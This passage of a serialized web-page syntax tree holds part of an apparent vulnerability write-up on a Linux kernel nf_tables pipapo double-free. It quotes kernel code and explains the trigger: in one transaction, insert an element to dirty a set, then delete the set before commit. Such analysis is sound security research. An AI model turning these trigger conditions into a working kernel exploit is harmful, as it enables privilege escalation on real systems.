r",{"type":24,"tag":147,"props":56939,"children":56940},{"style":241},[56941],{"type":29,"value":56862},{"type":24,"tag":147,"props":56943,"children":56944},{"style":235},[56945],{"type":29,"value":505},{"type":24,"tag":147,"props":56947,"children":56948},{"class":149,"line":308},[56949,56953,56958,56962],{"type":24,"tag":147,"props":56950,"children":56951},{"style":218},[56952],{"type":29,"value":11421},{"type":24,"tag":147,"props":56954,"children":56955},{"style":235},[56956],{"type":29,"value":56957}," nft_pipapo_elem ",{"type":24,"tag":147,"props":56959,"children":56960},{"style":241},[56961],{"type":29,"value":244},{"type":24,"tag":147,"props":56963,"children":56964},{"style":235},[56965],{"type":29,"value":56966},"e;\n",{"type":24,"tag":147,"props":56968,"children":56969},{"class":149,"line":317},[56970],{"type":24,"tag":147,"props":56971,"children":56972},{"emptyLinePlaceholder":16},[56973],{"type":29,"value":314},{"type":24,"tag":147,"props":56975,"children":56976},{"class":149,"line":332},[56977,56981,56985,56989,56993,56997,57001,57005,57009,57013,57017,57021,57026,57031,57035,57039,57043,57048,57052,57056,57060,57064,57069,57073],{"type":24,"tag":147,"props":56978,"children":56979},{"style":321},[56980],{"type":29,"value":3057},{"type":24,"tag":147,"props":56982,"children":56983},{"style":235},[56984],{"type":29,"value":56902},{"type":24,"tag":147,"props":56986,"children":56987},{"style":241},[56988],{"type":29,"value":3583},{"type":24,"tag":147,"props":56990,"children":56991},{"style":247},[56992],{"type":29,"value":38572},{"type":24,"tag":147,"props":56994,"children":56995},{"style":235},[56996],{"type":29,"value":495},{"type":24,"tag":147,"props":56998,"children":56999},{"style":247},[57000],{"type":29,"value":56932},{"type":24,"tag":147,"props":57002,"children":57003},{"style":241},[57004],{"type":29,"value":1791},{"type":24,"tag":147,"props":57006,"children":57007},{"style":705},[57008],{"type":29,"value":10147},{"type":24,"tag":147,"props":57010,"children":57011},{"style":241},[57012],{"type":29,"value":4269},{"type":24,"tag":147,"props":57014,"children":57015},{"style":247},[57016],{"type":29,"value":38572},{"type":24,"tag":147,"props":57018,"children":57019},{"style":235},[57020],{"type":29,"value":495},{"type":24,"tag":147,"props":57022,"children":57023},{"style":247},[57024],{"type":29,"value":57025},"mt",{"type":24,"tag":147,"props":57027,"children":57028},{"style":235},[57029],{"type":29,"value":57030},"[r ",{"type":24,"tag":147,"props":57032,"children":57033},{"style":241},[57034],{"type":29,"value":624},{"type":24,"tag":147,"props":57036,"children":57037},{"style":705},[57038],{"type":29,"value":10147},{"type":24,"tag":147,"props":57040,"children":57041},{"style":235},[57042],{"type":29,"value":55946},{"type":24,"tag":147,"props":57044,"children":57045},{"style":247},[57046],{"type":29,"value":57047},"e",{"type":24,"tag":147,"props":57049,"children":57050},{"style":241},[57051],{"type":29,"value":8911},{"type":24,"tag":147,"props":57053,"children":57054},{"style":247},[57055],{"type":29,"value":38572},{"type":24,"tag":147,"props":57057,"children":57058},{"style":235},[57059],{"type":29,"value":495},{"type":24,"tag":147,"props":57061,"children":57062},{"style":247},[57063],{"type":29,"value":57025},{"type":24,"tag":147,"props":57065,"children":57066},{"style":235},[57067],{"type":29,"value":57068},"[r].",{"type":24,"tag":147,"props":57070,"children":57071},{"style":247},[57072],{"type":29,"value":57047},{"type":24,"tag":147,"props":57074,"children":57075},{"style":235},[57076],{"type":29,"value":269},{"type":24,"tag":147,"props":57078,"children":57079},{"class":149,"line":350},[57080,57085],{"type":24,"tag":147,"props":57081,"children":57082},{"style":321},[57083],{"type":29,"value":57084},"   continue",{"type":24,"tag":147,"props":57086,"children":57087},{"style":235},[57088],{"type":29,"value":432},{"type":24,"tag":147,"props":57090,"children":57091},{"class":149,"line":358},[57092],{"type":24,"tag":147,"props":57093,"children":57094},{"emptyLinePlaceholder":16},[57095],{"type":29,"value":314},{"type":24,"tag":147,"props":57097,"children":57098},{"class":149,"line":397},[57099,57104,57108,57112,57116,57120,57124,57128],{"type":24,"tag":147,"props":57100,"children":57101},{"style":235},[57102],{"type":29,"value":57103},"  e ",{"type":24,"tag":147,"props":57105,"children":57106},{"style":241},[57107],{"type":29,"value":369},{"type":24,"tag":147,"props":57109,"children":57110},{"style":247},[57111],{"type":29,"value":38572},{"type":24,"tag":147,"props":57113,"children":57114},{"style":235},[57115],{"type":29,"value":495},{"type":24,"tag":147,"props":57117,"children":57118},{"style":247},[57119],{"type":29,"value":57025},{"type":24,"tag":147,"props":57121,"children":57122},{"style":235},[57123],{"type":29,"value":57068},{"type":24,"tag":147,"props":57125,"children":57126},{"style":247},[57127],{"type":29,"value":57047},{"type":24,"tag":147,"props":57129,"children":57130},{"style":235},[57131],{"type":29,"value":432},{"type":24,"tag":147,"props":57133,"children":57134},{"class":149,"line":421},[57135],{"type":24,"tag":147,"props":57136,"children":57137},{"emptyLinePlaceholder":16},[57138],{"type":29,"value":314},{"type":24,"tag":147,"props":57140,"children":57141},{"class":149,"line":435},[57142,57147,57152,57156,57160,57164,57169],{"type":24,"tag":147,"props":57143,"children":57144},{"style":229},[57145],{"type":29,"value":57146},"  nf_tables_set_elem_destroy",{"type":24,"tag":147,"props":57148,"children":57149},{"style":235},[57150],{"type":29,"value":57151},"(ctx, set, ",{"type":24,"tag":147,"props":57153,"children":57154},{"style":241},[57155],{"type":29,"value":485},{"type":24,"tag":147,"props":57157,"children":57158},{"style":247},[57159],{"type":29,"value":57047},{"type":24,"tag":147,"props":57161,"children":57162},{"style":235},[57163],{"type":29,"value":495},{"type":24,"tag":147,"props":57165,"children":57166},{"style":247},[57167],{"type":29,"value":57168},"priv",{"type":24,"tag":147,"props":57170,"children":57171},{"style":235},[57172],{"type":29,"value":1473},{"type":24,"tag":147,"props":57174,"children":57175},{"class":149,"line":444},[57176],{"type":24,"tag":147,"props":57177,"children":57178},{"style":235},[57179],{"type":29,"value":15217},{"type":24,"tag":147,"props":57181,"children":57182},{"class":149,"line":452},[57183],{"type":24,"tag":147,"props":57184,"children":57185},{"style":235},[57186],{"type":29,"value":827},{"type":24,"tag":25,"props":57188,"children":57189},{},[57190,57192,57198,57200,57205],{"type":29,"value":57191},"Which will then ",{"type":24,"tag":80,"props":57193,"children":57195},{"className":57194},[],[57196],{"type":29,"value":57197},"kfree()",{"type":29,"value":57199}," the ",{"type":24,"tag":80,"props":57201,"children":57203},{"className":57202},[],[57204],{"type":29,"value":56608},{"type":29,"value":87},{"type":24,"tag":137,"props":57207,"children":57209},{"className":141,"code":57208,"language":140,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[57210],{"type":24,"tag":80,"props":57211,"children":57212},{"__ignoreMap":7},[57213,57253,57281,57310,57317,57352,57359,57380,57403,57410,57423],{"type":24,"tag":147,"props":57214,"children":57215},{"class":149,"line":150},[57216,57220,57225,57229,57233,57237,57241,57245,57249],{"type":24,"tag":147,"props":57217,"children":57218},{"style":218},[57219],{"type":29,"value":1258},{"type":24,"tag":147,"props":57221,"children":57222},{"style":229},[57223],{"type":29,"value":57224}," nf_tables_set_elem_destroy",{"type":24,"tag":147,"props":57226,"children":57227},{"style":235},[57228],{"type":29,"value":480},{"type":24,"tag":147,"props":57230,"children":57231},{"style":218},[57232],{"type":29,"value":15276},{"type":24,"tag":147,"props":57234,"children":57235},{"style":218},[57236],{"type":29,"value":26753},{"type":24,"tag":147,"props":57238,"children":57239},{"style":235},[57240],{"type":29,"value":56666},{"type":24,"tag":147,"props":57242,"children":57243},{"style":241},[57244],{"type":29,"value":244},{"type":24,"tag":147,"props":57246,"children":57247},{"style":247},[57248],{"type":29,"value":25884},{"type":24,"tag":147,"props":57250,"children":57251},{"style":235},[57252],{"type":29,"value":1549},{"type":24,"tag":147,"props":57254,"children":57255},{"class":149,"line":160},[57256,57261,57265,57269,57273,57277],{"type":24,"tag":147,"props":57257,"children":57258},{"style":218},[57259],{"type":29,"value":57260},"    const",{"type":24,"tag":147,"props":57262,"children":57263},{"style":218},[57264],{"type":29,"value":26753},{"type":24,"tag":147,"props":57266,"children":57267},{"style":235},[57268],{"type":29,"value":56694},{"type":24,"tag":147,"props":57270,"children":57271},{"style":241},[57272],{"type":29,"value":244},{"type":24,"tag":147,"props":57274,"children":57275},{"style":247},[57276],{"type":29,"value":56616},{"type":24,"tag":147,"props":57278,"children":57279},{"style":235},[57280],{"type":29,"value":1549},{"type":24,"tag":147,"props":57282,"children":57283},{"class":149,"line":169},[57284,57288,57292,57297,57301,57306],{"type":24,"tag":147,"props":57285,"children":57286},{"style":218},[57287],{"type":29,"value":57260},{"type":24,"tag":147,"props":57289,"children":57290},{"style":218},[57291],{"type":29,"value":26753},{"type":24,"tag":147,"props":57293,"children":57294},{"style":235},[57295],{"type":29,"value":57296}," nft_elem_priv ",{"type":24,"tag":147,"props":57298,"children":57299},{"style":241},[57300],{"type":29,"value":244},{"type":24,"tag":147,"props":57302,"children":57303},{"style":247},[57304],{"type":29,"value":57305},"elem_priv",{"type":24,"tag":147,"props":57307,"children":57308},{"style":235},[57309],{"type":29,"value":269},{"type":24,"tag":147,"props":57311,"children":57312},{"class":149,"line":178},[57313],{"type":24,"tag":147,"props":57314,"children":57315},{"style":235},[57316],{"type":29,"value":278},{"type":24,"tag":147,"props":57318,"children":57319},{"class":149,"line":187},[57320,57324,57329,57333,57338,57342,57347],{"type":24,"tag":147,"props":57321,"children":57322},{"style":218},[57323],{"type":29,"value":26753},{"type":24,"tag":147,"props":57325,"children":57326},{"style":235},[57327],{"type":29,"value":57328}," nft_set_ext ",{"type":24,"tag":147,"props":57330,"children":57331},{"style":241},[57332],{"type":29,"value":244},{"type":24,"tag":147,"props":57334,"children":57335},{"style":235},[57336],{"type":29,"value":57337},"ext ",{"type":24,"tag":147,"props":57339,"children":57340},{"style":241},[57341],{"type":29,"value":369},{"type":24,"tag":147,"props":57343,"children":57344},{"style":229},[57345],{"type":29,"value":57346}," nft_set_elem_ext",{"type":24,"tag":147,"props":57348,"children":57349},{"style":235},[57350],{"type":29,"value":57351},"(set, elem_priv);\n",{"type":24,"tag":147,"props":57353,"children":57354},{"class":149,"line":196},[57355],{"type":24,"tag":147,"props":57356,"children":57357},{"emptyLinePlaceholder":16},[57358],{"type":29,"value":314},{"type":24,"tag":147,"props":57360,"children":57361},{"class":149,"line":205},[57362,57366,57370,57375],{"type":24,"tag":147,"props":57363,"children":57364},{"style":321},[57365],{"type":29,"value":21397},{"type":24,"tag":147,"props":57367,"children":57368},{"style":235},[57369],{"type":29,"value":408},{"type":24,"tag":147,"props":57371,"children":57372},{"style":229},[57373],{"type":29,"value":57374},"nft_set_ext_exists",{"type":24,"tag":147,"props":57376,"children":57377},{"style":235},[57378],{"type":29,"value":57379},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":147,"props":57381,"children":57382},{"class":149,"line":214},[57383,57388,57393,57398],{"type":24,"tag":147,"props":57384,"children":57385},{"style":229},[57386],{"type":29,"value":57387},"  nft_set_elem_expr_destroy",{"type":24,"tag":147,"props":57389,"children":57390},{"style":235},[57391],{"type":29,"value":57392},"(ctx, ",{"type":24,"tag":147,"props":57394,"children":57395},{"style":229},[57396],{"type":29,"value":57397},"nft_set_ext_expr",{"type":24,"tag":147,"props":57399,"children":57400},{"style":235},[57401],{"type":29,"value":57402},"(ext));\n",{"type":24,"tag":147,"props":57404,"children":57405},{"class":149,"line":272},[57406],{"type":24,"tag":147,"props":57407,"children":57408},{"emptyLinePlaceholder":16},[57409],{"type":29,"value":314},{"type":24,"tag":147,"props":57411,"children":57412},{"class":149,"line":281},[57413,57418],{"type":24,"tag":147,"props":57414,"children":57415},{"style":229},[57416],{"type":29,"value":57417}," kfree",{"type":24,"tag":147,"props":57419,"children":57420},{"style":235},[57421],{"type":29,"value":57422},"(elem_priv);\n",{"type":24,"tag":147,"props":57424,"children":57425},{"class":149,"line":299},[57426],{"type":24,"tag":147,"props":57427,"children":57428},{"style":235},[57429],{"type":29,"value":827},{"type":24,"tag":25,"props":57431,"children":57432},{},[57433,57434,57440,57442,57447,57449,57454,57456,57461,57462,57467,57469,57474,57476,57481,57483,57488],{"type":29,"value":5094},{"type":24,"tag":80,"props":57435,"children":57437},{"className":57436},[],[57438],{"type":29,"value":57439},"nft_pipapo_match",{"type":29,"value":57441}," objects contain views of the ",{"type":24,"tag":80,"props":57443,"children":57445},{"className":57444},[],[57446],{"type":29,"value":56608},{"type":29,"value":57448},"'s of a ",{"type":24,"tag":80,"props":57450,"children":57452},{"className":57451},[],[57453],{"type":29,"value":56616},{"type":29,"value":57455},". The difference between the ",{"type":24,"tag":80,"props":57457,"children":57459},{"className":57458},[],[57460],{"type":29,"value":56593},{"type":29,"value":855},{"type":24,"tag":80,"props":57463,"children":57465},{"className":57464},[],[57466],{"type":29,"value":56577},{"type":29,"value":57468}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":80,"props":57470,"children":57472},{"className":57471},[],[57473],{"type":29,"value":56608},{"type":29,"value":57475},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":80,"props":57477,"children":57479},{"className":57478},[],[57480],{"type":29,"value":56608},{"type":29,"value":57482},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":80,"props":57484,"children":57486},{"className":57485},[],[57487],{"type":29,"value":56593},{"type":29,"value":87},{"type":24,"tag":43,"props":57490,"children":57492},{"id":57491},"root-cause-analysis",[57493],{"type":29,"value":57494},"Root-cause analysis",{"type":24,"tag":25,"props":57496,"children":57497},{},[57498,57500,57506,57508,57513],{"type":29,"value":57499},"So ",{"type":24,"tag":80,"props":57501,"children":57503},{"className":57502},[],[57504],{"type":29,"value":57505},"nf_tables_set_elem_destroy",{"type":29,"value":57507}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":80,"props":57509,"children":57511},{"className":57510},[],[57512],{"type":29,"value":56608},{"type":29,"value":57514},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":57516,"children":57517},{},[57518,57520,57525,57527,57532,57534,57539,57541,57546,57548,57553],{"type":29,"value":57519},"We should now try to understand how to reach that path with the ",{"type":24,"tag":80,"props":57521,"children":57523},{"className":57522},[],[57524],{"type":29,"value":56570},{"type":29,"value":57526}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":80,"props":57528,"children":57530},{"className":57529},[],[57531],{"type":29,"value":56608},{"type":29,"value":57533}," that becomes true whenever a change is made to the ",{"type":24,"tag":80,"props":57535,"children":57537},{"className":57536},[],[57538],{"type":29,"value":56616},{"type":29,"value":57540}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":80,"props":57542,"children":57544},{"className":57543},[],[57545],{"type":29,"value":56616},{"type":29,"value":57547}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":80,"props":57549,"children":57551},{"className":57550},[],[57552],{"type":29,"value":56616},{"type":29,"value":57554}," dirty by inserting a new element.",{"type":24,"tag":137,"props":57556,"children":57558},{"className":141,"code":57557,"language":140,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[57559],{"type":24,"tag":80,"props":57560,"children":57561},{"__ignoreMap":7},[57562,57632,57660,57685,57692,57699,57728,57735],{"type":24,"tag":147,"props":57563,"children":57564},{"class":149,"line":150},[57565,57569,57573,57578,57582,57586,57590,57595,57599,57604,57608,57612,57616,57620,57624,57628],{"type":24,"tag":147,"props":57566,"children":57567},{"style":218},[57568],{"type":29,"value":221},{"type":24,"tag":147,"props":57570,"children":57571},{"style":218},[57572],{"type":29,"value":56767},{"type":24,"tag":147,"props":57574,"children":57575},{"style":229},[57576],{"type":29,"value":57577}," nft_pipapo_insert",{"type":24,"tag":147,"props":57579,"children":57580},{"style":235},[57581],{"type":29,"value":480},{"type":24,"tag":147,"props":57583,"children":57584},{"style":218},[57585],{"type":29,"value":15276},{"type":24,"tag":147,"props":57587,"children":57588},{"style":218},[57589],{"type":29,"value":26753},{"type":24,"tag":147,"props":57591,"children":57592},{"style":235},[57593],{"type":29,"value":57594}," net ",{"type":24,"tag":147,"props":57596,"children":57597},{"style":241},[57598],{"type":29,"value":244},{"type":24,"tag":147,"props":57600,"children":57601},{"style":247},[57602],{"type":29,"value":57603},"net",{"type":24,"tag":147,"props":57605,"children":57606},{"style":235},[57607],{"type":29,"value":546},{"type":24,"tag":147,"props":57609,"children":57610},{"style":218},[57611],{"type":29,"value":15276},{"type":24,"tag":147,"props":57613,"children":57614},{"style":218},[57615],{"type":29,"value":26753},{"type":24,"tag":147,"props":57617,"children":57618},{"style":235},[57619],{"type":29,"value":56694},{"type":24,"tag":147,"props":57621,"children":57622},{"style":241},[57623],{"type":29,"value":244},{"type":24,"tag":147,"props":57625,"children":57626},{"style":247},[57627],{"type":29,"value":56616},{"type":24,"tag":147,"props":57629,"children":57630},{"style":235},[57631],{"type":29,"value":1549},{"type":24,"tag":147,"props":57633,"children":57634},{"class":149,"line":160},[57635,57639,57643,57648,57652,57656],{"type":24,"tag":147,"props":57636,"children":57637},{"style":218},[57638],{"type":29,"value":38502},{"type":24,"tag":147,"props":57640,"children":57641},{"style":218},[57642],{"type":29,"value":26753},{"type":24,"tag":147,"props":57644,"children":57645},{"style":235},[57646],{"type":29,"value":57647}," nft_set_elem ",{"type":24,"tag":147,"props":57649,"children":57650},{"style":241},[57651],{"type":29,"value":244},{"type":24,"tag":147,"props":57653,"children":57654},{"style":247},[57655],{"type":29,"value":532},{"type":24,"tag":147,"props":57657,"children":57658},{"style":235},[57659],{"type":29,"value":1549},{"type":24,"tag":147,"props":57661,"children":57662},{"class":149,"line":169},[57663,57668,57672,57677,57681],{"type":24,"tag":147,"props":57664,"children":57665},{"style":218},[57666],{"type":29,"value":57667},"        struct",{"type":24,"tag":147,"props":57669,"children":57670},{"style":235},[57671],{"type":29,"value":57296},{"type":24,"tag":147,"props":57673,"children":57674},{"style":241},[57675],{"type":29,"value":57676},"**",{"type":24,"tag":147,"props":57678,"children":57679},{"style":247},[57680],{"type":29,"value":57305},{"type":24,"tag":147,"props":57682,"children":57683},{"style":235},[57684],{"type":29,"value":269},{"type":24,"tag":147,"props":57686,"children":57687},{"class":149,"line":178},[57688],{"type":24,"tag":147,"props":57689,"children":57690},{"style":235},[57691],{"type":29,"value":278},{"type":24,"tag":147,"props":57693,"children":57694},{"class":149,"line":187},[57695],{"type":24,"tag":147,"props":57696,"children":57697},{"style":235},[57698],{"type":29,"value":15939},{"type":24,"tag":147,"props":57700,"children":57701},{"class":149,"line":196},[57702,57707,57711,57716,57720,57724],{"type":24,"tag":147,"props":57703,"children":57704},{"style":247},[57705],{"type":29,"value":57706}," priv",{"type":24,"tag":147,"props":57708,"children":57709},{"style":235},[57710],{"type":29,"value":495},{"type":24,"tag":147,"props":57712,"children":57713},{"style":247},[57714],{"type":29,"value":57715},"dirty",{"type":24,"tag":147,"props":57717,"children":57718},{"style":241},[57719],{"type":29,"value":651},{"type":24,"tag":147,"props":57721,"children":57722},{"style":218},[57723],{"type":29,"value":18087},{"type":24,"tag":147,"props":57725,"children":57726},{"style":235},[57727],{"type":29,"value":432},{"type":24,"tag":147,"props":57729,"children":57730},{"class":149,"line":205},[57731],{"type":24,"tag":147,"props":57732,"children":57733},{"style":235},[57734],{"type":29,"value":15939},{"type":24,"tag":147,"props":57736,"children":57737},{"class":149,"line":214},[57738],{"type":24,"tag":147,"props":57739,"children":57740},{"style":235},[57741],{"type":29,"value":827},{"type":24,"tag":25,"props":57743,"children":57744},{},[57745],{"type":29,"value":57746},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":137,"props":57748,"children":57750},{"className":141,"code":57749,"language":140,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[57751],{"type":24,"tag":80,"props":57752,"children":57753},{"__ignoreMap":7},[57754,57794,57801,57808,57839,57850,57857,57884,57891],{"type":24,"tag":147,"props":57755,"children":57756},{"class":149,"line":150},[57757,57761,57765,57770,57774,57778,57782,57786,57790],{"type":24,"tag":147,"props":57758,"children":57759},{"style":218},[57760],{"type":29,"value":221},{"type":24,"tag":147,"props":57762,"children":57763},{"style":218},[57764],{"type":29,"value":226},{"type":24,"tag":147,"props":57766,"children":57767},{"style":229},[57768],{"type":29,"value":57769}," nft_pipapo_commit",{"type":24,"tag":147,"props":57771,"children":57772},{"style":235},[57773],{"type":29,"value":480},{"type":24,"tag":147,"props":57775,"children":57776},{"style":218},[57777],{"type":29,"value":993},{"type":24,"tag":147,"props":57779,"children":57780},{"style":235},[57781],{"type":29,"value":56694},{"type":24,"tag":147,"props":57783,"children":57784},{"style":241},[57785],{"type":29,"value":244},{"type":24,"tag":147,"props":57787,"children":57788},{"style":247},[57789],{"type":29,"value":56616},{"type":24,"tag":147,"props":57791,"children":57792},{"style":235},[57793],{"type":29,"value":269},{"type":24,"tag":147,"props":57795,"children":57796},{"class":149,"line":160},[57797],{"type":24,"tag":147,"props":57798,"children":57799},{"style":235},[57800],{"type":29,"value":278},{"type":24,"tag":147,"props":57802,"children":57803},{"class":149,"line":169},[57804],{"type":24,"tag":147,"props":57805,"children":57806},{"style":235},[57807],{"type":29,"value":15939},{"type":24,"tag":147,"props":57809,"children":57810},{"class":149,"line":178},[57811,57815,57819,57823,57827,57831,57835],{"type":24,"tag":147,"props":57812,"children":57813},{"style":321},[57814],{"type":29,"value":21397},{"type":24,"tag":147,"props":57816,"children":57817},{"style":235},[57818],{"type":29,"value":408},{"type":24,"tag":147,"props":57820,"children":57821},{"style":241},[57822],{"type":29,"value":413},{"type":24,"tag":147,"props":57824,"children":57825},{"style":247},[57826],{"type":29,"value":57168},{"type":24,"tag":147,"props":57828,"children":57829},{"style":235},[57830],{"type":29,"value":495},{"type":24,"tag":147,"props":57832,"children":57833},{"style":247},[57834],{"type":29,"value":57715},{"type":24,"tag":147,"props":57836,"children":57837},{"style":235},[57838],{"type":29,"value":269},{"type":24,"tag":147,"props":57840,"children":57841},{"class":149,"line":187},[57842,57846],{"type":24,"tag":147,"props":57843,"children":57844},{"style":321},[57845],{"type":29,"value":44795},{"type":24,"tag":147,"props":57847,"children":57848},{"style":235},[57849],{"type":29,"value":432},{"type":24,"tag":147,"props":57851,"children":57852},{"class":149,"line":196},[57853],{"type":24,"tag":147,"props":57854,"children":57855},{"style":235},[57856],{"type":29,"value":15939},{"type":24,"tag":147,"props":57858,"children":57859},{"class":149,"line":205},[57860,57864,57868,57872,57876,57880],{"type":24,"tag":147,"props":57861,"children":57862},{"style":247},[57863],{"type":29,"value":57706},{"type":24,"tag":147,"props":57865,"children":57866},{"style":235},[57867],{"type":29,"value":495},{"type":24,"tag":147,"props":57869,"children":57870},{"style":247},[57871],{"type":29,"value":57715},{"type":24,"tag":147,"props":57873,"children":57874},{"style":241},[57875],{"type":29,"value":651},{"type":24,"tag":147,"props":57877,"children":57878},{"style":218},[57879],{"type":29,"value":14682},{"type":24,"tag":147,"props":57881,"children":57882},{"style":235},[57883],{"type":29,"value":432},{"type":24,"tag":147,"props":57885,"children":57886},{"class":149,"line":214},[57887],{"type":24,"tag":147,"props":57888,"children":57889},{"style":235},[57890],{"type":29,"value":15939},{"type":24,"tag":147,"props":57892,"children":57893},{"class":149,"line":272},[57894],{"type":24,"tag":147,"props":57895,"children":57896},{"style":235},[57897],{"type":29,"value":827},{"type":24,"tag":25,"props":57899,"children":57900},{},[57901,57903,57908,57910,57915,57917,57922,57924,57929,57931,57937,57939,57945,57947,57952],{"type":29,"value":57902},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":80,"props":57904,"children":57906},{"className":57905},[],[57907],{"type":29,"value":56608},{"type":29,"value":57909}," in the ",{"type":24,"tag":80,"props":57911,"children":57913},{"className":57912},[],[57914],{"type":29,"value":56616},{"type":29,"value":57916}," to make it dirty and then delete the ",{"type":24,"tag":80,"props":57918,"children":57920},{"className":57919},[],[57921],{"type":29,"value":56616},{"type":29,"value":57923},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":80,"props":57925,"children":57927},{"className":57926},[],[57928],{"type":29,"value":56616},{"type":29,"value":57930},"'s ",{"type":24,"tag":80,"props":57932,"children":57934},{"className":57933},[],[57935],{"type":29,"value":57936},"->commit()",{"type":29,"value":57938}," method is executed before its ",{"type":24,"tag":80,"props":57940,"children":57942},{"className":57941},[],[57943],{"type":29,"value":57944},"->destroy()",{"type":29,"value":57946}," method, then the ",{"type":24,"tag":80,"props":57948,"children":57950},{"className":57949},[],[57951],{"type":29,"value":57715},{"type":29,"value":57953}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":57955,"children":57956},{},[57957],{"type":29,"value":57958},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":137,"props":57960,"children":57962},{"className":141,"code":57961,"language":140,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[57963],{"type":24,"tag":80,"props":57964,"children":57965},{"__ignoreMap":7},[57966,58028,58035,58042,58050,58063,58098,58132,58174,58196,58208,58220,58227,58275,58316,58356,58369,58376,58383,58390,58397,58422,58429,58442,58449,58465],{"type":24,"tag":147,"props":57967,"children":57968},{"class":149,"line":150},[57969,57973,57977,57982,57986,57990,57994,57998,58002,58006,58010,58015,58019,58024],{"type":24,"tag":147,"props":57970,"children":57971},{"style":218},[57972],{"type":29,"value":221},{"type":24,"tag":147,"props":57974,"children":57975},{"style":218},[57976],{"type":29,"value":56767},{"type":24,"tag":147,"props":57978,"children":57979},{"style":229},[57980],{"type":29,"value":57981}," nf_tables_commit",{"type":24,"tag":147,"props":57983,"children":57984},{"style":235},[57985],{"type":29,"value":480},{"type":24,"tag":147,"props":57987,"children":57988},{"style":218},[57989],{"type":29,"value":993},{"type":24,"tag":147,"props":57991,"children":57992},{"style":235},[57993],{"type":29,"value":57594},{"type":24,"tag":147,"props":57995,"children":57996},{"style":241},[57997],{"type":29,"value":244},{"type":24,"tag":147,"props":57999,"children":58000},{"style":247},[58001],{"type":29,"value":57603},{"type":24,"tag":147,"props":58003,"children":58004},{"style":235},[58005],{"type":29,"value":546},{"type":24,"tag":147,"props":58007,"children":58008},{"style":218},[58009],{"type":29,"value":993},{"type":24,"tag":147,"props":58011,"children":58012},{"style":235},[58013],{"type":29,"value":58014}," sk_buff ",{"type":24,"tag":147,"props":58016,"children":58017},{"style":241},[58018],{"type":29,"value":244},{"type":24,"tag":147,"props":58020,"children":58021},{"style":247},[58022],{"type":29,"value":58023},"skb",{"type":24,"tag":147,"props":58025,"children":58026},{"style":235},[58027],{"type":29,"value":269},{"type":24,"tag":147,"props":58029,"children":58030},{"class":149,"line":160},[58031],{"type":24,"tag":147,"props":58032,"children":58033},{"style":235},[58034],{"type":29,"value":278},{"type":24,"tag":147,"props":58036,"children":58037},{"class":149,"line":169},[58038],{"type":24,"tag":147,"props":58039,"children":58040},{"style":235},[58041],{"type":29,"value":15939},{"type":24,"tag":147,"props":58043,"children":58044},{"class":149,"line":178},[58045],{"type":24,"tag":147,"props":58046,"children":58047},{"style":235},[58048],{"type":29,"value":58049},"  case NFT_MSG_DELSET:\n",{"type":24,"tag":147,"props":58051,"children":58052},{"class":149,"line":187},[58053,58058],{"type":24,"tag":147,"props":58054,"children":58055},{"style":235},[58056],{"type":29,"value":58057},"  case NFT_MSG_DESTROYSET:",{"type":24,"tag":147,"props":58059,"children":58060},{"style":154},[58061],{"type":29,"value":58062}," // [1]\n",{"type":24,"tag":147,"props":58064,"children":58065},{"class":149,"line":196},[58066,58071,58076,58081,58085,58089,58093],{"type":24,"tag":147,"props":58067,"children":58068},{"style":229},[58069],{"type":29,"value":58070},"   nft_trans_set",{"type":24,"tag":147,"props":58072,"children":58073},{"style":235},[58074],{"type":29,"value":58075},"(trans)->",{"type":24,"tag":147,"props":58077,"children":58078},{"style":247},[58079],{"type":29,"value":58080},"dead",{"type":24,"tag":147,"props":58082,"children":58083},{"style":241},[58084],{"type":29,"value":651},{"type":24,"tag":147,"props":58086,"children":58087},{"style":705},[58088],{"type":29,"value":10147},{"type":24,"tag":147,"props":58090,"children":58091},{"style":235},[58092],{"type":29,"value":54672},{"type":24,"tag":147,"props":58094,"children":58095},{"style":154},[58096],{"type":29,"value":58097}," // [2]\n",{"type":24,"tag":147,"props":58099,"children":58100},{"class":149,"line":205},[58101,58106,58110,58114,58119,58123,58128],{"type":24,"tag":147,"props":58102,"children":58103},{"style":229},[58104],{"type":29,"value":58105},"   